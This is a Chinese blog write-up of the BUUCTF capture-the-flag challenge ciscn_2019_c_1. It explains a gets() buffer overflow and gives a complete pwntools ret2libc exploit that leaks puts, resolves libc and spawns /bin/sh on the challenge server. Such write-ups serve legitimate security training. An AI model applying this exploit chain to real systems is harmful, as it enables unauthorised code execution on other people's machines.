BUUCTF-PWN-ciscn_2019_c_1

77次阅读
没有评论

共计 2298 个字符,预计需要花费 6 分钟才能阅读完成。

提醒:本文最后更新于 2024-08-28 15:12,文中所关联的信息可能已发生改变,请知悉!

做这题的时候碰到了很多奇怪的事,在后面会有体现,如有大佬看到,望予以解答

checksec

BUUCTF-PWN-ciscn_2019_c_1

IDA

BUUCTF-PWN-ciscn_2019_c_1

BUUCTF-PWN-ciscn_2019_c_1

这个程序大致是用来加密解密一段字符串的,但是很明显可以看到 2.Decrypt 是没有用的,那么来看看 1.Encrypt 的内容:

BUUCTF-PWN-ciscn_2019_c_1

看到了 gets 函数,可以用来溢出,除此以外好像没有别的可以利用的东西,那么就想到 ret2libc

payload

第一次溢出

  • '\0' #用来绕过if (v0 >= strlen(s) ),(strlen() 在读取字符串的时候 会 一直读到 \0 处停止;)
  • b'a' * (0x50 + 0x8 - 1) #与前面的 '\0' 一起,覆盖 s 的栈并溢出

BUUCTF-PWN-ciscn_2019_c_1

  • p64(rdi_ret)

BUUCTF-PWN-ciscn_2019_c_1

  • p64(puts_got)
  • p64(puts_plt) # 利用 puts 函数的 got 表和 plt 表来泄露 libc 版本
  • p64(main_addr) # 返回主函数再进行下一次溢出

第二次溢出

  • '\0' #用来绕过if (v0 >= strlen(s) ),(strlen() 在读取字符串的时候 会 一直读到 \0 处停止;)
  • b'a' * (0x50 + 0x8 - 1) #与前面的 '\0' 一起,覆盖 s 的栈并溢出
  • p64(ret) # ubuntu18(题目给出的环境)上有栈平衡,用 ret 来进行栈对齐
  • p64(rdi_ret)
  • p64(binsh) # /bin/sh 地址
  • p64(sys_addr) # system 函数地址

EXP

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

# p = process('./ciscn_2019_c_1')
p = remote('node4.buuoj.cn', 28765)
elf = ELF('./ciscn_2019_c_1')

main_addr = 0x400b28
rdi_ret = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload1 = b'\0' + b'a' * (0x50 + 0x8 - 1) + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter('choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted', payload1)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
# print(p.recvuntil('\n')[:-1].ljust(8, b'\0'))
# puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8, b'\0'))
puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

p.sendlineafter('choice!\n', '1')

payload2 = b'\0' + b'a' * (0x50 + 0x8 - 1) + p64(ret) + p64(rdi_ret) + p64(binsh) + p64(sys_addr)
p.sendlineafter('encrypted\n', payload2)

p.interactive()

结果

BUUCTF-PWN-ciscn_2019_c_1

一些问题的说明

做题期间参考了一些文章,他们都是使用 LibcSearcher 解的题,但是实际我遇到的情况与他们的文章是有不符的:

  1. 有好几篇文章的 EXP 都用了两行 p.recvline() 来接受两个 puts 函数的输入,而我试过这样是根本打不通的,我在 EXP 中的方式如下:
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
  1. 还有别的解法是,不直接绕过if (v0 >= strlen(s) ),而是“将计就计”利用 if 下面的代码,读者可以自行百度
  2. 如结果中的图片所示,根据我们给出的 puts 函数的一些数据,LibcSeacher 匹配到了 9 个版本的 libc,然后需要自行选择尝试,而奇怪的是,没有一篇我能查到的题解提到了这一步,似乎大佬们都是跑完脚本就直接拿到 shell 的,这一点我不知道是什么原因
  3. 再说一下上面的 9 个 libc 版本,我仅仅试了 amd64 版本的几个,发现 3 号和 4 号可以打通,0 号和 5 号不行(不排除偶然情况,或者是别的原因)
正文完
 0
icvuln
版权声明:本站原创文章,由 icvuln 于2021-11-12发表,共计2298字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)